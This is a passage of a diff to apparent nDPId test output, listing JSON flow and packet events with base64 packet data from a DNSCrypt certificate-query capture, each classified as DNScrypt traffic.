AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00574{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":2,"flow_src_last_pkt_time":946739305327975,"flow_dst_last_pkt_time":946739305350183,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"thread_ts_usec":946739305350183,"pkt":"ZmZmZmZmRERERERECABFAABHTCRAADsRLUuVcHAKCgAAASD7pkoAM4koa\/+AAAABAAAAAAAAATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQ=="} @@ -345,13 +311,9 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":178,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":68,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739306241775,"flow_src_last_pkt_time":946739306241775,"flow_dst_last_pkt_time":946739306241775,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739306241775,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":50913,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_src_last_pkt_time":946739306241775,"flow_dst_last_pkt_time":946739306241775,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739306241775,"pkt":"REREREREZmZmZmZmCABFAAXc+mAgAL0REzsKAAABrGhdUMbhBaMGBCsUtDYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":178,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":68,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739306241775,"flow_src_last_pkt_time":946739306241775,"flow_dst_last_pkt_time":946739306241775,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739306241775,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":50913,"dst_port":1443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":179,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739306241786} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":179,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739306241775,"pkt":"REREREREZmZmZmZmCABFAABQ+mAAub0ROA4KAAABrGhdUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":180,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":69,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739306241796,"flow_src_last_pkt_time":946739306241796,"flow_dst_last_pkt_time":946739306241796,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739306241796,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":41800,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_src_last_pkt_time":946739306241796,"flow_dst_last_pkt_time":946739306241796,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739306241796,"pkt":"REREREREZmZmZmZmCABFAAXc+mEgAL0REzoKAAABrGhdUKNIBaMGBE6vtDQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":180,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":69,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739306241796,"flow_src_last_pkt_time":946739306241796,"flow_dst_last_pkt_time":946739306241796,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739306241796,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":41800,"dst_port":1443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":181,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739306241823} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":181,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739306241796,"pkt":"REREREREZmZmZmZmCABFAABQ+mEAub0ROA0KAAABrGhdUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":182,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":70,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739306241870,"flow_src_last_pkt_time":946739306241870,"flow_dst_last_pkt_time":946739306241870,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739306241870,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":38283,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_src_last_pkt_time":946739306241870,"flow_dst_last_pkt_time":946739306241870,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739306241870,"pkt":"REREREREZmZmZmZmCABFAAIc+mJAAL0R9vgKAAABrGhdUJWLBaMCCMyOtDUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":182,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":70,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739306241870,"flow_src_last_pkt_time":946739306241870,"flow_dst_last_pkt_time":946739306241870,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739306241870,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":38283,"dst_port":1443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -361,8 +323,6 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":184,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":72,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739306241927,"flow_src_last_pkt_time":946739306241927,"flow_dst_last_pkt_time":946739306241927,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739306241927,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":56902,"dst_port":1443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_src_last_pkt_time":946739306241927,"flow_dst_last_pkt_time":946739306241927,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739306241927,"pkt":"REREREREZmZmZmZmCABFAAXc+mQgAL0REzcKAAABrGhdUN5GBaMGBBOttDgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":184,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":72,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739306241927,"flow_src_last_pkt_time":946739306241927,"flow_dst_last_pkt_time":946739306241927,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739306241927,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":56902,"dst_port":1443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":185,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739306241945} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":185,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739306241927,"pkt":"REREREREZmZmZmZmCABFAABQ+mQAub0ROAoKAAABrGhdUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00948{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":2,"flow_src_last_pkt_time":946739306241769,"flow_dst_last_pkt_time":946739306433658,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":361,"pkt_l4_len":327,"thread_ts_usec":946739306433658,"pkt":"ZmZmZmZmRERERERECABFAAFbc7kAADgRQ2SsaF1QCgAAAQWjwWgBRx3ktDmBgAABAAIAAAAAATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABwAwAEAABAAAAAAB9fEROU0MAAgAARetMpee6oZgp6bqFLigcb0SLVmyPyCbHZR6HuGkwY4G1zZ8bDjrU7\/iD1UD40EN1uvlcdqls0BZMl43HwVwZARZAkJHggho4ekmN0Zb884jA2erV10Cju7fjg6Pz8KRbF0CQkeCCGjhfU2UoX1NlKF9UtqjADAAQAAEAAAAAAH18RE5TQwABAACIFa1N+k0s+4iBtwxUZ\/VXDn6QTrqbz7JAjEb6C42munCjxleQqYGFgM5AgV1cY1L\/xiUTddAkkuTfkcOlN9YEFkCQkeCCGjh6SY3RlvzziMDZ6tXXQKO7t+ODo\/PwpFsWQJCR4IIaOF9TZShfU2UoX1S2qA=="} 00949{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":2,"flow_src_last_pkt_time":946739306241888,"flow_dst_last_pkt_time":946739306434568,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":361,"pkt_l4_len":327,"thread_ts_usec":946739306434568,"pkt":"ZmZmZmZmRERERERECABFAAFbc70AADgRQ2CsaF1QCgAAAQWj6GEBR\/bstDeBgAABAAIAAAAAATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABwAwAEAABAAAAAAB9fEROU0MAAgAARetMpee6oZgp6bqFLigcb0SLVmyPyCbHZR6HuGkwY4G1zZ8bDjrU7\/iD1UD40EN1uvlcdqls0BZMl43HwVwZARZAkJHggho4ekmN0Zb884jA2erV10Cju7fjg6Pz8KRbF0CQkeCCGjhfU2UoX1NlKF9UtqjADAAQAAEAAAAAAH18RE5TQwABAACIFa1N+k0s+4iBtwxUZ\/VXDn6QTrqbz7JAjEb6C42munCjxleQqYGFgM5AgV1cY1L\/xiUTddAkkuTfkcOlN9YEFkCQkeCCGjh6SY3RlvzziMDZ6tXXQKO7t+ODo\/PwpFsWQJCR4IIaOF9TZShfU2UoX1S2qA=="} 